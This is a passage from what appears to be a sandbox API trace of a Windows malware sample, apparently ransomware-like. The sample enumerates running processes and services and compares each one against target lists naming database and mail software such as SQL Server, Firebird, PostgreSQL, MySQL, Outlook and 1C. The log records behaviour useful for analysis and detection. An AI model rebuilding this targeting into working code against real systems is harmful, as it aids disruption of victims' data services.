(lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0157.213] lstrlenW (lpString="PlugPlay") returned 8 [0157.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0157.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0157.213] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0157.213] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0157.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0157.213] lstrlenW (lpString="Power") returned 5 [0157.213] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0157.213] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0157.213] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0157.213] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0157.213] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0157.213] lstrlenW (lpString="ProfSvc") returned 7 [0157.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0157.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0157.214] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0157.214] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0157.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0157.214] lstrlenW (lpString="RpcEptMapper") returned 12 [0157.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0157.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0157.214] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0157.214] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0157.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0157.214] lstrlenW (lpString="RpcSs") returned 5 [0157.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0157.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0157.214] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0157.214] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0157.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0157.214] lstrlenW (lpString="SamSs") returned 5 [0157.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0157.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0157.214] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0157.214] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0157.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0157.214] lstrlenW (lpString="Schedule") returned 8 [0157.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0157.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0157.215] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0157.215] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0157.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0157.215] lstrlenW (lpString="SENS") returned 4 [0157.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0157.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0157.215] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0157.215] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0157.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0157.215] lstrlenW (lpString="ShellHWDetection") returned 16 [0157.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0157.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0157.215] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0157.215] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0157.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0157.215] lstrlenW (lpString="Spooler") returned 7 [0157.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0157.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0157.215] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0157.215] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0157.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0157.215] lstrlenW (lpString="SysMain") returned 7 [0157.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0157.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0157.216] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0157.216] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0157.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0157.216] lstrlenW (lpString="Themes") returned 6 [0157.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0157.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0157.216] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0157.216] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0157.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0157.216] lstrlenW (lpString="TrkWks") returned 6 [0157.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0157.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0157.216] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0157.216] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0157.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0157.216] lstrlenW (lpString="UxSms") returned 5 [0157.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0157.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0157.216] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0157.216] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0157.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0157.216] lstrlenW (lpString="WdiServiceHost") returned 14 [0157.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0157.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0157.217] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0157.217] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0157.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0157.217] lstrlenW (lpString="WdiSystemHost") returned 13 [0157.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0157.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0157.217] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0157.217] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0157.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0157.217] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0157.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0157.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0157.217] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0157.217] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0157.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0157.217] lstrlenW (lpString="Winmgmt") returned 7 [0157.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0157.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0157.217] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0157.217] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0157.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0157.217] lstrlenW (lpString="WPDBusEnum") returned 10 [0157.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0157.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0157.217] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0157.217] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0157.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0157.217] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41d9f00 | out: hHeap=0x300000) returned 1 [0157.218] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x334 [0157.220] Process32FirstW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0157.220] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0157.220] lstrlenW (lpString="System") returned 6 [0157.220] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0157.221] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0157.221] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0157.221] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0157.221] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0157.221] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0157.221] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0157.221] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0157.221] lstrlenW (lpString="smss.exe") returned 8 [0157.221] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0157.221] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0157.221] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0157.221] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0157.221] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0157.221] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0157.221] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0157.221] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0157.222] lstrlenW (lpString="csrss.exe") returned 9 [0157.222] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0157.222] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0157.222] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0157.222] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0157.222] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0157.222] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0157.222] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0157.222] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0157.222] lstrlenW (lpString="wininit.exe") returned 11 [0157.222] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0157.222] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0157.222] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0157.222] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0157.222] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0157.222] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0157.222] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0157.222] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0157.223] lstrlenW (lpString="csrss.exe") returned 9 [0157.223] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0157.223] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0157.223] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0157.223] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0157.223] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0157.223] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0157.223] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0157.223] lstrlenW (lpString="winlogon.exe") returned 12 [0157.224] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0157.224] lstrlenW (lpString="services.exe") returned 12 [0157.224] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0157.224] lstrlenW (lpString="lsass.exe") returned 9 [0157.224] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0157.225] lstrlenW (lpString="lsm.exe") returned 7 [0157.225] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.225] lstrlenW (lpString="svchost.exe") returned 11 [0157.225] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.225] lstrlenW (lpString="svchost.exe") returned 11 [0157.225] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.226] lstrlenW (lpString="svchost.exe") returned 11 [0157.226] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.226] lstrlenW (lpString="svchost.exe") returned 11 [0157.226] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2c, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.226] lstrlenW (lpString="svchost.exe") returned 11 [0157.226] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0157.227] lstrlenW (lpString="audiodg.exe") returned 11 [0157.227] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.227] lstrlenW (lpString="svchost.exe") returned 11 [0157.227] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.227] lstrlenW (lpString="svchost.exe") returned 11 [0157.227] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0157.228] lstrlenW (lpString="spoolsv.exe") returned 11 [0157.228] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0157.228] lstrlenW (lpString="taskhost.exe") returned 12 [0157.228] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0157.228] lstrlenW (lpString="svchost.exe") returned 11 [0157.229] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0157.229] lstrlenW (lpString="userinit.exe") returned 12 [0157.229] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0157.229] lstrlenW (lpString="dwm.exe") returned 7 [0157.229] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0157.230] lstrlenW (lpString="explorer.exe") returned 12 [0157.230] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x568, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x4b8, pcPriClassBase=8, dwFlags=0x0, szExeFile="3G6885.exe")) returned 1 [0157.230] lstrlenW (lpString="3G6885.exe") returned 10 [0157.230] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x560, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0157.230] lstrlenW (lpString="reader_sl.exe") returned 13 [0157.230] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x51c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="drvinst.exe")) returned 1 [0157.231] lstrlenW (lpString="drvinst.exe") returned 11 [0157.231] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x558, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0157.231] lstrlenW (lpString="taskhost.exe") returned 12 [0157.231] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x370, pcPriClassBase=13, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0157.232] lstrlenW (lpString="consent.exe") returned 11 [0157.232] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0157.232] lstrlenW (lpString="dllhost.exe") returned 11 [0157.232] Process32NextW (in: hSnapshot=0x334, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x678, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0157.233] CloseHandle (hObject=0x334) returned 1 [0157.233] Sleep (dwMilliseconds=0x1f4) [0157.998] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x3af1cc8 [0157.998] EnumServicesStatusExW (in: hSCManager=0x3af1cc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 0 [0157.999] GetLastError () returned 0xea [0157.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x11e4) returned 0x41f77d0 [0157.999] EnumServicesStatusExW (in: hSCManager=0x3af1cc8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x41f77d0, cbBufSize=0x11e4, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x41f77d0, pcbBytesNeeded=0x21fff44, lpServicesReturned=0x21fff5c, lpResumeHandle=0x0) returned 1 [0157.999] CloseServiceHandle (hSCObject=0x3af1cc8) returned 1 [0158.000] lstrlenW (lpString="Appinfo") returned 7 [0158.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0158.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0158.000] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0158.000] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0158.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0158.000] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0158.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0158.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0158.000] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0158.000] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0158.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0158.000] lstrlenW (lpString="AudioSrv") returned 8 [0158.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0158.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0158.000] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0158.000] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0158.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0158.000] lstrlenW (lpString="BFE") returned 3 [0158.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0158.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0158.000] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0158.000] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0158.000] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0158.000] lstrlenW (lpString="CryptSvc") returned 8 [0158.000] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0158.000] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", 